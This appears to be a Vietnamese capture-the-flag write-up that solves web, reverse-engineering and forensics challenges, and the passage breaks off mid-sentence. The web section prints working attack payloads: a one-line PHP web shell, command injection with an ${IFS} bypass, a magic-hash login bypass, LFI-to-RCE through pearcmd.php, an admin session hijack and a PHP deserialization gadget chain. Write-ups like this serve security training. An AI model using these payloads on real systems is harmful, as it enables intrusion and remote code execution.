# Web ## Be Positive Với bài này, đề bài cho ta biết username và password giống nhau, giúp ta truy cập được 2 account là bob và alice. Vào panel ta thấy để mua flag ta cần $3001, nhưng nếu chuyển tiền từ 1 tài khoản và tài khoản còn lại tối đa chỉ được $3000, vậy sẽ ra sao nếu ta chuyển một số tiền âm? ``` amount=-5555&recipient=bob ``` ![](https://hackmd.io/_uploads/SJLZ5LdY2.png) `CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_933ac1415be4ebb3065ff2621adf36c4}` ## Youtube Downloader Nhìn vào bài này ta sẽ thấy một cái ô cho ta nhập link youtube, nhập xong submit ta sẽ thấy là web in ra cho ta một dòng text nhìn giống 1 câu lệnh, có thể đây là lỗi OS Command Injection Url mà ta nhập vào không nhất thiết phải là link youtube, ta thử đưa url của burp collab, kèm thêm subcommand `$(whoami)` để check xem có bị Command Injection không ![](https://hackmd.io/_uploads/rkAgp8_Y3.png) Ta confirm bug, vấn đề là khi có space trong command thì sẽ bị trả về `invalid url`, ta có thể bypass bằng cách thay space bằng `${IFS}` (Input Field Separators) ![](https://hackmd.io/_uploads/HySYaUuKh.png) `CHH{Ea5y_cOmmaND_inj3c7Ion_a44929d325cf5dacc5f529154ea4550c}` ## Magic Login Trong HTML source của trang ta thấy đoạn code nghi là source code phần login của trang ![](https://hackmd.io/_uploads/H11KRLdth.png) Có vẻ username không đóng vai trò gì nhiều, điều quan trọng là tìm ra cách để hash sha256 pass nhập vào bằng với kí tự "0" Dấu "==" trong python nghĩa là loose comparison, khi sử dụng dấu này thì php sẽ cố gắng convert 2 operand về cùng kiểu dữ liệu rồi mới so sánh, với kiểu chữ liệu string có số đằng trước thì sẽ được convert thành int. Tới đây ta nhớ lại kỹ thuật type juggling, dùng các magic hash để khiến php convert hash string về lại số, ta có sha256 magic string `34250003024812` ![](https://hackmd.io/_uploads/r1QEfPdY3.png) Ta được redirect đến trang upload sau khi đăng nhập thành công, tại đây ta có thể upload 1 file shell (một file php chứa câu code thực thi các os command để tìm flag trên server) ``` <?php echo system(@$_GET["c"]);?> ``` ![](https://hackmd.io/_uploads/SkxK7D_Fh.png) `CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_ccd9d6084a57893609803d6155c2ca36}` ## Slow Down Bài này giống với bài đầu, nhưng số âm giờ đây đã không còn sử dụng được. Sau một hồi suy nghĩ, mình đoán code ở phía backend có thể sẽ check xem số dư của người chuyển có đủ không rồi mới bắt đầu trừ tiền, vậy sẽ ra sao nếu có 2 request cùng check cùng lúc, nếu vậy thì điều kiện ở cả 2 request đều sẽ pass vì tiền ở cả 2 request được trừ gần như cùng lúc, vậy đây chính là race condition, mà cũng là intended của bài này. Tuy nhiên do điều kiện infrastructure không cho phép, mình không giải theo cách này mà dùng 1 cách khác đó là... nhập bừa ``` amount=111111'&recipient=bob ``` ![](https://hackmd.io/_uploads/SytfHPOF3.png) `CHH{ea5y_RaCe_CONd17iOn_ab75cc7a31d22940cd11f52c1d40c706}` Mình không thật sự chắc chắn điều gì đã diễn ra ở backend, có thể 1 query SQL nào đó đã bị fail và không được handle dẫn đến lỗi trên, và nếu như thế thì đồng nghĩa có lỗi SQL Injection một trong các query được sử dụng. Thông thường lỗi race codition có thể xảy ra khi làm việc với csdl mà không sử dụng transaction, đó là lý do mà mình tin là unintended này có liên quan đến một SQL query nào đó, mình không đâm sâu hơn vì khá lười ## Pass code Dạng bài này là một trong những dạng bài vô cùng lười khi làm, thay vì làm kiểu manual reverse thì mình sử dụng cách của người lười. Vì thấy một file tên `crypto-js.js` được include vào nên hẳn nó sẽ được load ở đâu đó để làm một nhiệm vụ gì đó, mình đặt breakpoint vòng vòng source code của file này và bắt đầu debug, cùng lúc đó mình check stacktrace để xem đoạn nào của main đang gọi đến code của `crypto-js.js`. Sau một lúc thì mình tìm được đoạn này ![](https://hackmd.io/_uploads/SkCAPDOFh.png) Đoán rằng `bánh quy chấm sữa` là key, mình thử nhập vào flag.php và flag đã hiện ra ![](https://hackmd.io/_uploads/Skpe_w_Yh.png) Tiện thể nhìn qua đoạn này hẳn mọi người sẽ biết là mình có trải nghiệm không tốt lắm khi làm bài này ![](https://hackmd.io/_uploads/Bk1uPwOt2.png) `CHH{jAvAscRIP7_o8FuSCaTe_4d18ca8b893bbaf0b6092f071f3ff2fe}` ## Magic Login Harder ![](https://hackmd.io/_uploads/rkAQtvOFn.png) Nhìn vào source bài này, để login thành công thì ta cần username và password khác nhau nhưng lại produce ra md5 hash giống nhau, sau khi login xong thì ta có thể thấy panel admin bên trong bị dính lỗi Local File Inclusion, tuy nhiên flag đã bị random, ta sẽ cần tìm cách RCE để đọc được flag ![](https://hackmd.io/_uploads/SkIotDOYn.png) Đối với phần login, ta biết rằng md5 thường không được khuyến cáo sử dụng vì dễ tạo ra hash collision, sau một hồi research mình tìm ra câu trả lời này ![](https://hackmd.io/_uploads/Hk9-cvuKh.png) https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value Bên trong 2 file là chữ tiếng hoa, khác nhau nhưng cùng produce ra 1 md5 sum. Base64 encode 2 message ta có credentials để login ``` Tclo/w7jXCCVctR3e3IVh9Nvp7Ib3Fa3Sj3AeD57lRivv6IAqChL826OS1WzX0J1k9hJZ22g0VVd g2D7Xwf+og== Tclo/w7jXCCVctR3e3IVh9Nvp7Ib3Fa3Sj3AeD57lRivv6ICqChL826OS1WzX0J1k9hJZ22g0dVd g2D7Xwf+og== ``` Tới đây để RCE ta có thể include file `/usr/local/lib/php/pearcmd.php` để gọi đến function tạo 1 file chứa code php của ta ở thư mục `/tmp`, sau đó lại include đến file đó để chạy code php ![](https://hackmd.io/_uploads/r1Up2vuth.png) ![](https://hackmd.io/_uploads/rytkpDdK2.png) `CHH{7yPE_jU66lin9_hArdEr_4f05de1a2666a3f6b687fa0fee7b6f80}` ## Suck it Một ứng dụng cho phép ta chat với người khác, để có được flag ta cần chat với user `nguoiyeucuaADMIN`, tuy nhiên để chat được với user này thì userId của ta phải là admin, đọc source code sẽ thấy khi connect websocket thì userId của ta sẽ được gen random ![](https://hackmd.io/_uploads/SJR50Ddtn.png) Ta sẽ cần tìm cách mạo danh admin, để ý chức năng `force disconnect` sẽ lưu lại user hiện tại của ta, tuy nhiên userId lúc này khi được truyền vào hàm `findSessionsByUserID` lại được control bởi user, vậy ta có thể lợi dụng điều này để force disconnect, cung cấp tham số gồm userID là `ADMIN` và secretKey là `574a94b04f303f5663e833b883cd2b23` để session của ta được lưu với userId là `ADMIN`, lần tiếp theo connect vào socket ta sẽ dùng sessionId này để kết nối Socket data cần gửi `42["force disconnect","ADMIN","574a94b04f303f5663e833b883cd2b23"]` SessionId với userId `ADMIN` ![](https://hackmd.io/_uploads/Bki9yOOth.png) Tại request này ta cung cấp sessionId đã lưu ![](https://hackmd.io/_uploads/r1UpyduFn.png) Ta đã trở thành admin ![](https://hackmd.io/_uploads/S1h01uOt2.png) `CHH{H4ve_y0u_re4d_th3_m3ssage_1f65669c53385aa84827d71ff61c605c}` ## Video Link Extractor Bài này có 2 hướng giải: include đọc file và rce Nhìn vào bài này ta thấy có 2 chức năng là extract (gửi request đến 1 trang và extract thông tin về bằng file_get_contents) và redirect (bằng cách set header `Location`) Bằng cách kết hợp 2 chức năng, ta có thể điều hướng chức năng extract và gọi file_get_contents với 1 url bất kì, content của trang sẽ được đưa vào ham `unserialize()`, đây chính là insecure deserialization. ![](https://hackmd.io/_uploads/SJxRIudK2.png) POP Gadget cũng khá dễ tìm khi utils tồn tại tận 2 magic method là `__wakeup` và `__toString` với sink và `include`, vậy ta có thể include đến file `flag.php` và đọc nó, tuy nhiên sẽ cần đến php wrapper vì flag nằm ở phần php code(comment) và sẽ không được in ra ![](https://hackmd.io/_uploads/B1aW_OuFh.png) payload ở server của ta: ```php <?php class Utils { public $_file; public $_id; public $_host; public $_result; public function log_error($e){ $_error_file = "/tmp/".time().".log"; error_log($e, 3, $_error_file); } public function __wakeup(){ try { // check if format file is exists? include $this->_file; } catch (Exception $e) { throw $e; } } public function extract_api_to_object(){ try { $YOUTUBE_API_KEY = "AIzaSyDNr58B64YFXS18FdYfdRADHGI1HFge5BI"; $host = strtolower($this->_host); switch ($host) { case "youtube": $link = "https://www.googleapis.com/youtube/v3/videos?id=".$this->_id."&key=".$YOUTUBE_API_KEY."&part=snippet"; $json = file_get_contents($link); $content = json_decode($json,true); break; case "vimeo": $link = "https://vimeo.com/api/v2/video/".$this->_id.".php"; $serial_obj = file_get_contents($link); $content = unserialize($serial_obj); break; case "local": //$link = $this->_id; $link = "http://localhost:1337/".$this->_id; $serial_obj = file_get_contents($link); $content = unserialize($serial_obj); break; default: $error = "Invalid host ".$host; $this->log_error($error); die($error); break; } } catch (Exception $e) { // Delete the output buffer throw($e); } return $content; } public function extract_video_information(){ try { $host = strtolower($this->_host); switch($host) { case "youtube": $content = $this->extract_api_to_object(); @$this->_result ['title'] = $content['items'][0]['snippet']['title']; @$this->_result ['description'] = $content['items'][0]['snippet']['description']; @$this->_result ['thumbnails'] = $content['items'][0]['snippet']['thumbnails']['default']['url']; break; case "vimeo": $content = $this->extract_api_to_object(); @$this->_result ['title'] = $content[0]['title']; @$this->_result ['description'] = $content[0]['description']; @$this->_result ['thumbnails'] = $content[0]['thumbnail_small']; break; case "local": $content = $this->extract_api_to_object(); @$this->_result ['title'] = $content[0]['title']; @$this->_result ['description'] = $content[0]['description']; @$this->_result ['thumbnails'] = $content[0]['thumbnail_small']; break; default: $error = "Invalid host ".$host; $this->log_error($error); die($error); break; } } catch (Exception $e) { // Delete the output buffer throw($e); } } public function __toString(){ try { // get the format string include $this->_file; return sprintf($format_string, $this->_result ['title'], $this->_result ['description'], $this->_result ['thumbnails']); } catch (Exception $e) { throw $e; } } } $a = new Utils(); $a->_file = "php://filter/convert.base64-encode/resource=flag.php"; $arrayName = array( 0 => array( "title" => "a", "description" => "a", "thumbnail_small" => $a ) ); echo serialize($arrayName); ?> ``` Cách thứ 2 ta có thể rce luôn để vọc thêm, tại đây nếu ta nhập host không hợp lệ thì string mà ta nhập sẽ được log lại ![](https://hackmd.io/_uploads/HkCLuOOt3.png) format file log là như sau: ![](https://hackmd.io/_uploads/SkhYOudKn.png) Vậy chỉ cần biết tại lúc log lại message hàm time() trả về gì là ta sẽ biết được file ghi tới tên gì, từ đó lợi dụng POP gadget để include tới file này ![](https://hackmd.io/_uploads/HJz89d_F3.png) ![](https://hackmd.io/_uploads/rJh8q__F2.png) Tại thời điểm error được log thì `time()` trả về giá trị khoảng `1688926761`, nếu lần đầu chưa ăn thì các bạn cứ lấy offset tầm -1 hay -2 gì đó ```php $a = new Utils(); $a->_file = "/tmp/1688926761.log"; $arrayName = array( 0 => array( "title" => "a", "description" => "a", "thumbnail_small" => $a ) ); echo serialize($arrayName); ``` `CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_fc24513a6b6d2fcb2bd2f392a54086e0}` # Reverse ## Pyreverse Mình sẽ chạy thử chương trình trước: ![](https://user-images.githubusercontent.com/31349426/252146048-10b19681-260d-4ddb-8b9e-37325c04df9f.png) Ta thấy chương trình yêu cầu ta nhập một chuỗi rồi in kết quả encode ra. Cuối chương trình còn đưa flag đã được mã hoá, mục đích của ta là decode nó ra lại. Mình thử nhập chuỗi `BBBBBBBBBBB` thì kết quả là `CACACACACAC`, nên mình đoán là `ký tự ở vị trí chẵn sẽ tăng lên 1`, `lẻ thì giảm 1` ( đánh dấu vị trí từ trái qua phải và bắt đầu bằng 0). Script decode flag: ```python eflag = "BIG|ozsino1Fwj^Sdwdsrf^FMhhodshof~" for i in range(len(eflag)): if i%2: print(chr(ord(eflag[i])-1),end='') else: print(chr(ord(eflag[i])+1),end='') ``` ![](https://user-images.githubusercontent.com/31349426/252146275-b5dfb73b-40b0-4af1-913e-c6bfc56d36fc.png) `CHH{python2Exi_Reverse_ENginering}` ## Jump Mình mở notepad ra để nhanh chóng kiểm tra header của file `jump.exe`: ![](https://user-images.githubusercontent.com/31349426/252146436-e54eeefb-abeb-4be2-aaa9-39e5c4a5295c.png) Ta thấy có đoạn `PE L` nên đây là app 32bit. Mình đưa file này vào IDA để decompile, đây là đoạn code của hàm main: ```c int __cdecl main(int argc, const char **argv, const char **envp) { __main(); printf("jump jump jump: "); scanf("%d", &jump); return jump(); } ``` Ở app 32bit thì kích thước của `int` và pointer đều là 4 bytes. Hàm `scanf` được gọi ra để cho ta ghi đè bất kì giá trị/địa chỉ nào vào biến `jump`, từ đó địa chỉ được gọi bằng `jmup()`. Mình thấy có hàm khả nghi tên là `_flag` ở địa chỉ `0x00401500` : ![](https://user-images.githubusercontent.com/31349426/252146668-5e448dd7-3c4f-4be8-862d-4ef3b0f09086.png) có vẻ là hàm để in flag ra, nên mình sẽ thử biến `jump` bằng `0x00401500`: ![](https://user-images.githubusercontent.com/31349426/252146750-fb3bec69-f1c8-405c-b6c7-b16e42619662.png) `CHH{JUMP_T0_TH3_M00N}` ## Rev1 Tương tự bài trên, bài này cũng là app 32bit, và mình sẽ đưa vào IDA để phân tích. Mình chạy thử chương trình thì biết đây là một app GUI: ![](https://user-images.githubusercontent.com/31349426/252147015-ab6fc3db-0374-44d9-bcb3-d1f502c47d97.png) App Windows GUI thường bắt đầu ở hàm `WinMain` nên mình sẽ phân tích hàm này bằng IDA: ```c int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { h = CreateSolidBrush(4u); hbr = CreatePen(0, 0, 0xFFFFFFu); dword_2143C4 = CreatePen(0, 0, 0); dword_214374 = CreateFontA(13, 0, 0, 0, 500, 0, 0, 0, 0, 0, 0, 0, 0, pszFaceName); ::hInstance = GetModuleHandleA(0); hIcon = (LPARAM)LoadIconA(::hInstance, (LPCSTR)0x3F9); InitCommonControls(); DialogBoxParamA(::hInstance, (LPCSTR)0x3E8, 0, (DLGPROC)DialogFunc, 0); DeleteObject(hbr); DeleteObject(h); DeleteObject(dword_2143C4); return 0; } ``` Hàm `WinMain` gọi `DialogBoxParamA(::hInstance, (LPCSTR)0x3E8, 0, (DLGPROC)DialogFunc, 0);`, từ đó mình biết được hàm `DialogFunc` chính là hàm xử lý I/O của chương trình. Như đề mô tả thì chúng ta phải phải nhập keygen vào để có flag. Để nhận input từ người dùng, người ta hay sử dụng hàm [`GetDlgItemTextA`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getdlgitemtexta). Mình tìm xem những đoạn code nào gọi `GetDlgItemTextA`: ![](https://user-images.githubusercontent.com/31349426/252147288-42fa1400-977e-4103-9011-cdc3955f4bf4.png) Ở hàm `DialogFunc`, chỉ gọi hàm `GetDlgItemTextA` một lần ở `DialogFunc+0x69a`. Bây giờ mình thử debug, nhập ngẫu nhiên một chuỗi để xem flow chương trình như nào: ![](https://media.discordapp.net/attachments/1123632699664510986/1127601544804700241/image.png) ![](https://user-images.githubusercontent.com/31349426/252147535-987b4126-fe5c-47c8-b14b-11e911e95f27.png) Mình thấy tất nhiên là chuỗi ta nhập không thể đúng, nên hàm `check` sẽ trả về false, đi theo flow tới gọi hàm `sub_AD1EC0(dword_AE42FC);` ![](https://user-images.githubusercontent.com/31349426/252147760-346f2214-7b71-434e-89c4-ce24f102a737.png) và khi hàm đó được gọi ra, thì chữ `Wrong` xuất hiện -> từ đó mình suy luận chắc chắn hàm `check` sẽ kiểm tra key mình nhập vào đúng hay sai. Mình xem code hàm check: ```c { signed int v1; // kr00_4 int v3; // [esp+10h] [ebp-14h] unsigned int v4; // [esp+1Ch] [ebp-8h] v4 = 0; dword_AE43C0 = (int)dword_AE4448; v3 = dword_AE4448(); if ( v3 ) { v1 = strlen(a1); dword_AE43A0 -= (int)dword_AE4448 - dword_AE43C0; while ( v4 < dword_AE43A0 ) { *((_BYTE *)dword_AE4448 + v4) ^= a1[(int)v4 % v1]; ++v4; } } return v3; } ``` Ta thấy con trỏ hàm `dword_AE4448` được gọi ra và giá trị trả về được gán vào `v3`, vì hàm `check` cũng return `v3` nên giờ phải tìm cách để hàm `dword_AE4448()` trả về khác 0. ![image](https://user-images.githubusercontent.com/31349426/252147877-ce5f5e78-192b-4c29-85bf-bb232d816f67.png) Ta thấy lúc phân tích tĩnh thì `dword_AE4448` chưa được gán giá trị nào, nên mình sẽ debug để xem nó trỏ đi đâu. ![image](https://user-images.githubusercontent.com/31349426/252147956-0e8ffbdd-97a1-4fa1-8eae-176ce884bb9a.png) Qua debug thì mình thấy `dword_AE4448` nó trỏ vào `0x00820000`, mình sẽ sử dụng chức năng `Create function` để IDA decompile được. ![image](https://user-images.githubusercontent.com/31349426/252148020-3719c1b0-4c3d-47de-9eb3-142bbdb5fc2b.png) ```c int __usercall sub_820000@<eax>(const unsigned __int8 *a1@<edi>) { unsigned int v1; // kr04_4 int retaddr; // [esp+4h] [ebp+0h] if ( 749 * a1[13] + 297 * a1[12] + 346 * a1[9] + 378 * a1[8] + 70 * a1[5] + 504 * a1[3] + 840 * a1[2] + 451 * a1[1] + 110 * *a1 - 855 * a1[4] - 367 * a1[6] - 766 * a1[7] - 806 * a1[10] - 400 * a1[11] != 10699 || 644 * a1[12] + 377 * a1[11] + 418 * a1[10] + 545 * a1[6] + 338 * a1[5] + 570 * a1[3] + 705 * a1[2] + 946 * a1[1] + 42 * *a1 - 977 * a1[4] - 764 * a1[7] - 223 * a1[8] - 879 * a1[9] - 100 * a1[13] != 61677 || 725 * a1[13] + 899 * a1[12] + 55 * a1[10] + 610 * a1[9] + 299 * a1[6] + 234 * a1[4] + 809 * a1[3] + 972 * a1[2] + 973 * a1[1] + 808 * *a1 - 26 * a1[5] - 46 * a1[7] - 823 * a1[8] - 164 * a1[11] != 417944 || 80 * a1[13] + 225 * a1[11] + 640 * a1[10] + 21 * a1[8] + 910 * a1[7] + 721 * a1[5] + 102 * *a1 - 969 * a1[1] - 192 * a1[2] - 189 * a1[3] - 157 * a1[4] - 665 * a1[6] - 334 * a1[9] - 296 * a1[12] != 27876 || 992 * a1[12] + 621 * a1[11] + 151 * a1[10] + 340 * a1[8] + 601 * a1[5] + 138 * a1[1] + 749 * *a1 - 341 * a1[2] - 140 * a1[3] - 569 * a1[4] - 646 * a1[6] - 474 * a1[7] - 406 * a1[9] - 491 * a1[13] != 86237 || 962 * a1[13] + 523 * a1[11] + 655 * a1[9] + 153 * a1[5] + 120 * a1[3] + 579 * a1[2] + 70 * *a1 - 735 * a1[1] - 238 * a1[4] - 197 * a1[6] - 235 * a1[7] - 174 * a1[8] - 101 * a1[10] - 327 * a1[12] != 124555 || 609 * a1[11] + 938 * a1[10] + 961 * a1[6] + 949 * a1[2] + 702 * a1[1] + 612 * *a1 - 467 * a1[3] - 8 * a1[4] - 336 * a1[5] - 996 * a1[7] - 88 * a1[8] - 412 * a1[9] - 383 * a1[12] - 359 * a1[13] != 99472 || 691 * a1[13] + 733 * a1[12] + 988 * a1[10] + 313 * a1[9] + 51 * a1[6] + 170 * a1[5] + 892 * a1[4] + 36 * a1[3] + 179 * *a1 - 99 * a1[1] - 224 * a1[2] - 286 * a1[7] - 317 * a1[8] - 332 * a1[11] != 248916 || 441 * a1[13] + 587 * a1[12] + 938 * a1[11] + 972 * a1[10] + 321 * a1[7] + 929 * a1[4] + 220 * a1[3] + 211 * a1[2] + 277 * a1[1] + 258 * *a1 - 860 * a1[5] - 237 * a1[6] - 412 * a1[8] - 694 * a1[9] != 284272 || 387 * a1[13] + 437 * a1[12] + 548 * a1[11] + 86 * a1[10] + 527 * a1[6] + 48 * a1[5] + 135 * a1[3] + 773 * a1[1] + 964 * *a1 - 169 * a1[2] - 230 * a1[4] - 976 * a1[7] - 148 * a1[8] - 716 * a1[9] != 137743 || 438 * a1[12] + (a1[9] << 9) + 547 * a1[8] + 385 * a1[2] + 343 * a1[1] + 598 * *a1 - 774 * a1[3] - 579 * a1[4] - 9 * a1[5] - 883 * a1[6] - 419 * a1[7] - 869 * a1[10] - 86 * a1[11] - 924 * a1[13] != -116586 || 549 * a1[13] + 532 * a1[11] + 21 * a1[9] + 883 * a1[8] + 99 * a1[7] + 982 * a1[3] + 557 * a1[2] + 690 * a1[1] + 163 * *a1 - 154 * a1[4] - 118 * a1[5] - 672 * a1[6] - 953 * a1[10] - 562 * a1[12] != 141428 || 379 * a1[9] + 460 * a1[5] + 607 * a1[2] + 339 * a1[1] + 337 * *a1 - 391 * a1[3] - 684 * a1[4] - 341 * a1[6] - 757 * a1[7] - 557 * a1[8] - 887 * a1[10] - 178 * a1[11] - 660 * a1[12] - 718 * a1[13] != -267187 || 20 * a1[12] + 761 * a1[11] + 616 * a1[10] + 162 * a1[8] + 593 * a1[7] + 925 * a1[6] + 603 * a1[3] + 131 * a1[2] + 149 * a1[1] + 682 * *a1 - 119 * a1[4] - 737 * a1[5] - 637 * a1[9] - 277 * a1[13] != 247270 ) { return 0; } v1 = strlen((const char *)a1) + 1; retaddr = 0; do { byte_820B01[retaddr] ^= a1[retaddr % (int)(v1 - 1)]; ++retaddr; } while ( (unsigned int)retaddr < 0x8D42 ); ((void (__cdecl *)(_BYTE *))((char *)NtCurrentPeb()->ImageBaseAddress + 7872))(byte_820B01); return 1; } ``` `a1` chính là chuỗi mà chúng ta nhập vào, ta thấy nó lần lượt kiểm tra xem mỗi phép cộng trừ nhân chia giữa các byte có khác giá trị cho trước hay không, chỉ cần khác một giá trị là return 0. Mình đếm có đúng 14 lần kiểm tra như vậy, mà nhìn thì index lớn nhất được truy cập là 13, làm mình nghĩ đến đây là hệ phương trình 14 ẩn. Mình sử dụng thư viện `z3` trên python để giải: ```python from z3 import * a1 = [BitVec(f"a1[{i}]",64) for i in range(14)] s = Solver() s.add( (749 * a1[13] + 297 * a1[12] + 346 * a1[9] + 378 * a1[8] + 70 * a1[5] + 504 * a1[3] + 840 * a1[2] + 451 * a1[1] + 110 * a1[0] - 855 * a1[4] - 367 * a1[6] - 766 * a1[7] - 806 * a1[10] - 400 * a1[11] == 10699 ) ) s.add(644 * a1[12] + 377 * a1[11] + 418 * a1[10] + 545 * a1[6] + 338 * a1[5] + 570 * a1[3] + 705 * a1[2] + 946 * a1[1] + 42 * a1[0] - 977 * a1[4] - 764 * a1[7] - 223 * a1[8] - 879 * a1[9] - 100 * a1[13] == 61677 ) s.add(725 * a1[13] + 899 * a1[12] + 55 * a1[10] + 610 * a1[9] + 299 * a1[6] + 234 * a1[4] + 809 * a1[3] + 972 * a1[2] + 973 * a1[1] + 808 * a1[0] - 26 * a1[5] - 46 * a1[7] - 823 * a1[8] - 164 * a1[11] == 417944 ) s.add( 80 * a1[13] + 225 * a1[11] + 640 * a1[10] + 21 * a1[8] + 910 * a1[7] + 721 * a1[5] + 102 * a1[0] - 969 * a1[1] - 192 * a1[2] - 189 * a1[3] - 157 * a1[4] - 665 * a1[6] - 334 * a1[9] - 296 * a1[12] == 27876 ) s.add(992 * a1[12] + 621 * a1[11] + 151 * a1[10] + 340 * a1[8] + 601 * a1[5] + 138 * a1[1] + 749 * a1[0] - 341 * a1[2] - 140 * a1[3] - 569 * a1[4] - 646 * a1[6] - 474 * a1[7] - 406 * a1[9] - 491 * a1[13] == 86237 ) s.add(962 * a1[13] + 523 * a1[11] + 655 * a1[9] + 153 * a1[5] + 120 * a1[3] + 579 * a1[2] + 70 * a1[0] - 735 * a1[1] - 238 * a1[4] - 197 * a1[6] - 235 * a1[7] - 174 * a1[8] - 101 * a1[10] - 327 * a1[12] == 124555 ) s.add(609 * a1[11] + 938 * a1[10] + 961 * a1[6] + 949 * a1[2] + 702 * a1[1] + 612 * a1[0] - 467 * a1[3] - 8 * a1[4] - 336 * a1[5] - 996 * a1[7] - 88 * a1[8] - 412 * a1[9] - 383 * a1[12] - 359 * a1[13] == 99472 ) s.add(691 * a1[13] + 733 * a1[12] + 988 * a1[10] + 313 * a1[9] + 51 * a1[6] + 170 * a1[5] + 892 * a1[4] + 36 * a1[3] + 179 * a1[0] - 99 * a1[1] - 224 * a1[2] - 286 * a1[7] - 317 * a1[8] - 332 * a1[11] == 248916 ) s.add(441 * a1[13] + 587 * a1[12] + 938 * a1[11] + 972 * a1[10] + 321 * a1[7] + 929 * a1[4] + 220 * a1[3] + 211 * a1[2] + 277 * a1[1] + 258 * a1[0] - 860 * a1[5] - 237 * a1[6] - 412 * a1[8] - 694 * a1[9] == 284272 ) s.add(387 * a1[13] + 437 * a1[12] + 548 * a1[11] + 86 * a1[10] + 527 * a1[6] + 48 * a1[5] + 135 * a1[3] + 773 * a1[1] + 964 * a1[0] - 169 * a1[2] - 230 * a1[4] - 976 * a1[7] - 148 * a1[8] - 716 * a1[9] == 137743 ) s.add(438 * a1[12] + (a1[9] << 9) + 547 * a1[8] + 385 * a1[2] + 343 * a1[1] + 598 * a1[0] - 774 * a1[3] - 579 * a1[4] - 9 * a1[5] - 883 * a1[6] - 419 * a1[7] - 869 * a1[10] - 86 * a1[11] - 924 * a1[13] == -116586 ) s.add( 549 * a1[13] + 532 * a1[11] + 21 * a1[9] + 883 * a1[8] + 99 * a1[7] + 982 * a1[3] + 557 * a1[2] + 690 * a1[1] + 163 * a1[0] - 154 * a1[4] - 118 * a1[5] - 672 * a1[6] - 953 * a1[10] - 562 * a1[12] == 141428 ) s.add( 379 * a1[9] + 460 * a1[5] + 607 * a1[2] + 339 * a1[1] + 337 * a1[0] - 391 * a1[3] - 684 * a1[4] - 341 * a1[6] - 757 * a1[7] - 557 * a1[8] - 887 * a1[10] - 178 * a1[11] - 660 * a1[12] - 718 * a1[13] == -267187) s.add( 20 * a1[12] + 761 * a1[11] + 616 * a1[10] + 162 * a1[8] + 593 * a1[7] + 925 * a1[6] + 603 * a1[3] + 131 * a1[2] + 149 * a1[1] + 682 * a1[0] - 119 * a1[4] - 737 * a1[5] - 637 * a1[9] - 277 * a1[13] == 247270 ) print(s.check()) print(s.model()) ``` Và đây là kết quả: ``` sat [a1[10] = 87, a1[11] = 107, a1[7] = 81, a1[6] = 54, a1[4] = 75, a1[0] = 113, a1[1] = 50, a1[2] = 48, a1[3] = 79, a1[5] = 51, a1[8] = 66, a1[9] = 105, a1[12] = 90, a1[13] = 84] ``` Mình sẽ chuyển chúng sang chuỗi ascii, sửa đoạn `print(s.model())` thành : ```python for i in range(14): print(chr(int(str(s.model()[BitVec(f"a1[{i}]",64)]))),end='') ``` ![image](https://user-images.githubusercontent.com/31349426/252148585-06eb6051-44a9-4a10-863e-4faedc2a6a11.png) Mình sẽ thử key `q20OK36QBiWkZT` vào : ![image](https://user-images.githubusercontent.com/31349426/252148622-44ea58dc-935f-4e63-9611-e843009b71e1.png) `CHH{C00k13_4R3n4}` # Forensic ## Tin học văn phòng Bài này chúng ta sử dụng tool olevba để extract macro và flag nằm trong source code. ![](https://user-images.githubusercontent.com/89141562/252149591-e7d8d13a-80c3-44b1-94e1-d8e5475f589a.png) `CHH{If_u_w4nt_1_will_aft3rnull_u}` ## Sổ đăng ký Bài này cho chúng ta file NTUSER.DAT là một file registry của Windows. Tìm đến đường dẫn `Software\Microsoft\Windows\CurrentVersion\Run`, ta sẽ có đoạn powershell như sau: ![](https://user-images.githubusercontent.com/89141562/252149747-f274daac-3b7e-4ead-9892-3cf8eaa5093b.png) Bỏ đoạn base64 lên cyberchef và ta có flag. ![](https://user-images.githubusercontent.com/89141562/252149788-0e63696d-4212-4271-aab4-ca19e7c67605.png) `CHH{N0_4_go_n0_st4r_wh3r3}` ## Báo cáo dang dở Từ description, ta có thể hiểu chúng ta cần phải khôi phục lại file báo cáo của Hoà thông qua memory dump được cho trước. Dựa theo [link](https://learn.microsoft.com/en-us/office/troubleshoot/word/recover-lost-unsaved-corrupted-document) này ta có thể biết được rằng file temp được lưu ở 1 trong hai đường dẫn sau: ![](https://user-images.githubusercontent.com/89141562/252149886-99b10240-72c0-42f8-8f01-198109905f84.png) Tìm các file ở 1 trong 2 đường dẫn trên với `.asd` extension: ![](https://user-images.githubusercontent.com/89141562/252149961-43fd5950-ef49-4240-9b6c-4f04c7de7a27.png) ``` $ vol -f MEMORY.DMP windows.filescan | grep -w -i "asd" 0x7e3e2070 100.0\Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd 216 ``` Tiến hành dump file. ``` $ vol -f MEMORY.DMP windows.dumpfiles --physaddr 0x7e3e2070 $ mv 'file.0x7e3e2070.0xfa8003d7b6d0.DataSectionObject.AutoRecovery save of Document1.asd.dat' sus.asd ``` Mở file backup lên, tuy nhiên sẽ gặp lỗi: ![](https://user-images.githubusercontent.com/89141562/252150092-f784eef6-04de-49f9-9446-348db2384f37.png) Search lỗi trên google và làm theo kết quả này: https://superuser.com/questions/896865/cant-open-asd-file ![](https://user-images.githubusercontent.com/89141562/252150190-05e7b606-c41d-497d-92e9-d3936feb4f8b.png) `CHH{4ut0R3c0v3r_s4v3_my_l1f3}` ## Trivival FTP Đề bài nhắc đến TFTP, vì vậy mình tìm traffic chứa TFTP trong pcap. ![](https://user-images.githubusercontent.com/89141562/252150288-314adb72-9c9e-4f26-90b0-c0b3b3a19f7e.png) Có thể thấy, file được truyền qua UDP protocol tới port 58813. Sử dụng `tshark` với filter `udp.dstport == 58813 && frame.number > 2972` để lấy data. ``` $ tshark -r TrivialFTP.pcapng -Y "udp.dstport == 58813 && frame.number > 2972" -Tfields -e data.data > hex.txt ``` Viết chương trình python để ghép data lại với nhau thành file pdf. ```py f = open('hex.txt','r').readlines() s = '' out = open('out.pdf','wb') for i in f: data = i.strip()[8:] s += data out.write(bytes.fromhex(s.replace('0d0a','0a').replace('0d00','0d'))) ``` Bởi vì file được truyền bới TFTP và với type là netascii nên mình cắt 4 byte đầu của mỗi dòng (gồm opcode và block number), sau đó cắt đi các kí 